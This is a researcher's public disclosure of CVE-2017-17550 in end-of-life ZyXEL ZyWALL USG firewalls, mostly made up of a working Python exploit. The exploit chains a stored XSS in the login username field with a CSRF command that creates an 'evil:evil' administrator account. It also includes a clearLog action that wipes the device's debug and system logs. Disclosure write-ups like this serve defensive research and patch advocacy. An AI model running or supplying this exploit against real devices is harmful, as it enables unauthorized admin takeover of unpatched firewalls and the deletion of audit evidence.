CVE-2017-17550: ZyWALL USG - XSS & CSRF

More than one year ago I reported to ZyXEL a ZyWALL security vulnerability which bring to an Arbitrary Admin Creation.
Unfortunately ZyXEL said that ZyWALL USG 100,300 etc.. has reached end of life...so no updated firmware.
Today I want to share with you the full exploit.

Before the code, the affected pages:
1) XSS
Page: /
Method: POST
Parameter: username (require also loginTosslvpn=on)
Payload: "username=<img src=x onerror=alert(1)>"
Trigger on: /cgi-bin/zysh-cgi with POST parameter "cmd=show logging entries category all"

2) CSRF
Page: /cgi-bin/zysh-cgi
Method: POST or GET
Parameter: cmd
Payload: "cmd=username evil password evil user-type admin"

Exploit


import requests
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class WebExploit:
	def __init__(self, url='https://192.168.1.1/', debug=False):
		self.url = url
		self.debug = debug
		self.proxies = {}
		if self.debug == True:
			self.proxies = {
				'http':'http://127.0.0.1:8080', 
				'https':'https://127.0.0.1:8080'
			}		

	def exploit(self, username):
		payload = {'username':username, 'loginTosslvpn': 'on'}
		if self.proxies:
			requests.post(self.url, data=payload, verify=False, proxies=self.proxies)
		else:
			requests.post(self.url, data=payload, verify=False)
		return

	def clearLog(self, token):
		r = self.url + "cgi-bin/zysh-cgi"
		data = {
			'filter':'js2',
			'cmd':'clear logging debug buffer',
			'cmd':'clear logging system-log buffer'
		}
		cookies = dict(authtok=token)
		if self.proxies:
			requests.post(r, data=data, verify=False, proxies=self.proxies, cookies=cookies)
		else:
			requests.post(r, data=data, verify=False, cookies=cookies)
		return


if __name__ == "__main__":

	exploit_header = [
		"ZyXEL ZyWALL USG Series 3.30(AQQ.7)",
		"Staged Stored XSS and CSRF",
		"Vendor Homepage: www.zyxel.com",
		"-"*25,
		"Author: Simone Cardona",
		"Website: www.shellcode.it",
		"CVE: CVE-2017-17550",
		"Tested on ZyWALL USG 100"
	]

	for p in exploit_header:
		print(p)

	parser = argparse.ArgumentParser()
	parser.add_argument('action', help='exploit || clearLog', default='exploit')
	parser.add_argument('--url', help='Default https://192.168.1.1/', default='https://192.168.1.1/')
	parser.add_argument('--debug', help='Enable proxy @ 127.0.0.1:8080; default=False', action="store_true")
	parser.add_argument('--token', help='Specify authtok token', default='')

	args = parser.parse_args()

	if args.action == "exploit":
		# CSRF for add evil:evil admin
		payload = "<img src=/cgi-bin/zysh-cgi?js2=filter&cmd=username+evil+password+evil+user-type+admin >"
		payload_len = len(payload)
		size = 10
		counter = range(int(payload_len/size))
		result = []
		
		print("nPayload:nn"+payload+"n")
		print("Staged Payload: n")

		### Let's build a staged payload ###
		result.append("<img src=x onerror='/*")
		for c in counter:
			c = c * 10
			if c == 0:
				result.append("*/var s"+str(c)+"=""+payload[c:10]+"";/*")
			else:
				result.append("*/var s"+str(int(c/10))+"=""+payload[c:c+10]+"";/*")

		if c != payload_len:
			result.append("*/var s"+str(int(c/10+1))+"=""+payload[c+10:]+"";/*")

		result.append("*/var f=s0+s1+s2;/*")
		result.append("*/var p=s3+s4+s5;/*")
		result.append("*/var b=s6+s7+s8;/*")
		result.append("*/document.write(f+p+b);/*")
		result.append("*/'>")

		we = WebExploit(url=args.url, debug=args.debug)

		### Let's inject the payload ###
		for i in result[::-1]:
			print(i)
			we.exploit(i)
	elif args.action == "clearLog":
		if args.token == '':
			print("[x] Error: you need to specify --token")
			exit(1)
		we = WebExploit(url=args.url, debug=args.debug)
		we.clearLog(args.token)

Video

Disclosure Timeline

  • 18/07/2017 - Vulnerability reported to Zyxel (about ZyWALL USG 2.12 AQQ.2)
  • xx/xx/2017 - Vulnerability reported to Zyxel (about ZyWALL USG 3.30 AQQ.7 )
  • Since here no more information from Zyxel
  • 12/12/2017 - Got CVE from MITRE
  • 10/11/2018 - Publicly disclosed